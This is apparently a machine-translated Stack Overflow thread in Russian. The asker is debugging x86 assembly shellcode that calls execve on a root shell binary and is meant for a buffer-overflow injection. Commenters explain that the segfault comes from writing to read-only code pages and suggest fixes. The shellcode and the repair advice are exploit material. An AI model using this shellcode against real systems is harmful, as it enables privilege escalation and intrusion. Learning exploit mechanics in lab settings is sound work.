Ошибка сегментации в ассемблерном коде для вызова root

Я пытаюсь сделать ассемблерный код для вызова корневой оболочки с моего терминала, который я могу использовать в атаке с инъекцией переполнения буфера, но сейчас я застрял, пытаясь заставить мой ассемблерный код работать, прямо сейчас я получаю ошибка сегментации, когда я пытаюсь записать в память то, что нужно для вызова execve.

Код выглядит следующим образом

.code32
.text
.globl _start                            
_start:

        jmp MyCallStatement

        ShellCode:
        # Execve routine
                popl %esi
                xorl %eax, %eax
                movb %al, 0xe(%esi)
                movl %esi, 0xf(%esi)
                movl %eax, 0x13(%esi)
                movb $11, %al
                movl %esi, %ebx
                leal 0xf(%esi), %ecx
                leal 0x13(%esi), %edx
                int $0x80
        # Exit Routine  

        MyCallStatement:

                call ShellCode
                ShellVariable:
                        .ascii "/bin/rootshellABBBBCCCC"

Итак, идея здесь в том, что мой корневой вызов вводится в память с другим мусором, который будет перезаписан.

Первый movb по адресу 0xe($esi), который находится на расстоянии 14 байт, перезаписывает %esi с помощью 0, который является нулевым ограничителем, чтобы сообщить коду, где заканчивается моя командная строка оболочки.

Следующий movb — это просто еще один байт, чтобы загрузить указатель туда, где находится второй аргумент execve, который является указателем, указывающим на начало% esi в памяти.

Финальный movl просто перемещает Nulls для третьего аргумента.

Я получаю ошибку сегмента (дамп ядра), и я не знаю, почему.


person JCD    schedule 22.09.2017    source источник
comment
Разве вы не выталкиваете обратный адрес (который, скорее всего, будет указывать где-то в сегменте кода) и не используете его в качестве базового указателя?   -  person Margaret Bloom    schedule 22.09.2017
comment
@MargaretBloom Да, но обратный адрес оказался ShellVariable. Но я думаю, что следующий момент, который вы собирались сделать, это то, что страницы в сегменте кода, как правило, доступны только для чтения (чтобы предотвратить случайную или злонамеренную перезапись). Запись на страницу только для чтения может привести к ошибке seg.   -  person David Wohlferd    schedule 22.09.2017
comment
@MargaretBloom выталкивает его, возвращает в начало стека, где должна быть моя переменная, верно?   -  person JCD    schedule 22.09.2017
comment
@DavidWohlferd, да, это был мой скрытый намек :) Для JCD выталкивание возвращает обратный адрес, который, как указал Дэвид, указывает на ShellVariable. Но он доступен только для чтения.   -  person Margaret Bloom    schedule 22.09.2017
comment
@MargaretBloom, так как же сделать что-то доступным для записи? есть ли флаг компиляции или что-то, что вы можете запустить?   -  person JCD    schedule 22.09.2017
comment
Этот пост показывает несколько вариантов. Тем не менее, это никогда не произойдет в реальном сценарии.   -  person Margaret Bloom    schedule 22.09.2017
comment
Или вы не могли поместить свои данные в раздел кода. Обратите внимание, что пространство стека также доступно для записи...   -  person David Wohlferd    schedule 22.09.2017
comment
@DavidWohlferd Вы бы порекомендовали мне добавить его выше, например, там, где написано текст?   -  person JCD    schedule 22.09.2017
comment
Разве вам не нужно завершать shellVariable байтом NUL?   -  person fuz    schedule 22.09.2017
comment
@fuz: да, знаешь. Это может произойти случайно в автономном исполняемом файле, но .asciz будет гораздо лучшим выбором. О, нвм, вот для чего xor-обнуление и запись в строку. (Отсюда и segfault.)   -  person Peter Cordes    schedule 22.09.2017
comment
Намного проще просто использовать push $imm32, особенно в 32-битном коде.   -  person Peter Cordes    schedule 22.09.2017